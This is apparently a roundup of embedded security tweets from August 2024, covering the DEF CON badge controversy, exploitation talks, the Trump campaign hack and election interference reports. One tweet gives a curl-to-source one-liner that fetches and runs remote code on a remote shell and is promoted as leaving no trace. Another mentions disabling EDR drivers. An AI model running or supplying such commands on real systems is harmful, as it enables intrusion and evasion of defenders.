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August 11, 2024

August 11, 2024

August 11, 2024

Just re-upping this amazing podcast which I think is one of our best of the year https://t.co/7eTTrL9Lvr

— Ryan Evans (@EvansRyan202) August 8, 2024


Summary of the defcon badge drama.

https://www.reddit.com/r/Defcon/comments/1eoe4u7/comment/lheaj3b/

Haha, wtf, Defcon apparently stiffed the hardware company who designed the cool badges for this year, and physically booted the guy who wrote the software because he mentioned it in an easter egg https://t.co/k8i5TPrh4V pic.twitter.com/T76Kvkbulq

— Mogomra (e/acc) (@MightyMogomra) August 10, 2024

The other side

Responding to the #defcon32 badge controversy:

DEF CON thrives on community collaboration and has operated for over 30 years successfully working with hundreds of vendors including the dozens that have helped with our badges over the years.

For this year’s Raspberry Pi badges,…

— DEF CON (@defcon) August 10, 2024


Lol, blocking the loading of EDR drivers with WDAC actually works. https://t.co/Bi0tobpdgS pic.twitter.com/WBlgqmrcFs

— Daniel (@0x64616e) August 9, 2024


Samsung Real-time Kernel Protection (RKP) internals and exploitationhttps://t.co/UurmVvYG2s

Credits Alexandre Adamski (@the_impalabs)#samsung #infosec pic.twitter.com/TYEYFvvCn0

— 0xor0ne (@0xor0ne) August 9, 2024


The US NCSC has a hotel counter surveillance training video on youtube: https://t.co/WcAMcXVlSX

— arrays lamps (@lsampas) August 10, 2024


lol https://t.co/OpbIeDvq0S pic.twitter.com/jjNKlIuw0Z

— Rob DenBleyker (@RobDenBleyker) August 10, 2024


Joe and Bruno's Guide to Hacking Time: Regenerating Passwords from RoboForm's Password Generator (@defcon #defcon32) slides are up! https://t.co/WbQebgl0th pic.twitter.com/Uhy8tT0JBO

— Joe Grand (@joegrand) August 10, 2024


On the hack of the Trump campaign, I’m taking this seriously & have it on good authority it’s the real deal. You should too.

I tend to not comment much these days for various reasons personal & professional, but this is important, I have a bit of relevant insight & experience,…

— Chris Krebs (@C_C_Krebs) August 11, 2024


Politico and Alex Isenstadt deserve significant credit for turning this story into a story about a (poor, it appears) foreign disinformation attempt, instead of covering the leaked Trump campaign documents as such. https://t.co/4Zxo4rxfzh

— Thomas Rid (@RidT) August 10, 2024

The incompetence … pic.twitter.com/ud5ahJOjZv

— Thomas Rid (@RidT) August 10, 2024


French rail sabotage: Perpetrators of infrastructure damage remain unidentifiedhttps://t.co/kooPBDTAEz

— Dr. Dan Lomas (@Sandbagger_01) August 11, 2024


Notable Microsoft report detailing specific ways that Iran is interfering in the 2024 US election. Russia and China included as well.https://t.co/HZhUI224On

— Margaret Brennan (@margbrennan) August 9, 2024


40 page whitepaper on Exploiting Sonos One Over-The-Air talk!https://t.co/Ii1rUHYZjo pic.twitter.com/voNMlmFHT2

— Alex Plaskett (@alexjplaskett) August 9, 2024


RELEASE: This should be the 1st command you execute on a remote shell 🧨:

source <(curl -SsfL https://t.co/ZSF2fhCHaN)

Makes the BASH hack-ready. Lots of neat commands + apt-like static binary download ('bin nmap', ...).

LEAVES NO TRACE (memory only). https://t.co/6IqhFQCMbE pic.twitter.com/Ze851qtiJM

— The Hacker's Choice (@thc@infosec.exchange) (@hackerschoice) August 11, 2024


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